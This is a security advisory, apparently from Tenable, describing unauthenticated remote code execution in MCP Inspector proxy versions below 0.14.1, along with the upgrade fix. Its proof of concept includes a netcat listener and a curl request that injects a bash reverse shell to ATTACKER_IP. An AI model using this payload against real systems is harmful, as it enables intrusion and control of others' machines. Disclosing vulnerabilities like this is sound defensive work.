Synopsis
Anthropic ModelContextProtocol (MCP) Inspector versions below 0.14.1 suffer from a lack of authentication and network restrictions on the MCP Inspector proxy used by the Web UI to interact with local or remote MCP servers.
A remote and unauthenticated attacker can send crafted requests to the proxy server and achieve remote code execution on the target system running the MCP Inspector proxy.
Proof-Of-Concept
The following code snippet demonstrates how the vulnerability could be exploited:
# Start a listener on TCP/7777
nc -l -p 7777
# Build a payload which will establish a simple reverse shell to our local IP on the previous port
PAYLOAD_BASH=“bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/7777 0>&1’”
# URI encode the payload
ENCODED_PAYLOAD_BASH=$(echo -n “$PAYLOAD_BASH” | jq -sRr @uri)
# Request the MCP Inspector Proxy with the previous payload to achieve Remote Code Execution
curl “http://MCP_INSPECTOR_PROXY:3000/sse?transportType=stdio&command=bash&args=-c%20%22$ENCODED_PAYLOAD_BASH%22”
Solution
Upgrade to version 0.14.1 or later.
Additional References
https://github.com/modelcontextprotocol/inspectorhttps://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-7f8r-222p-6f5g
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]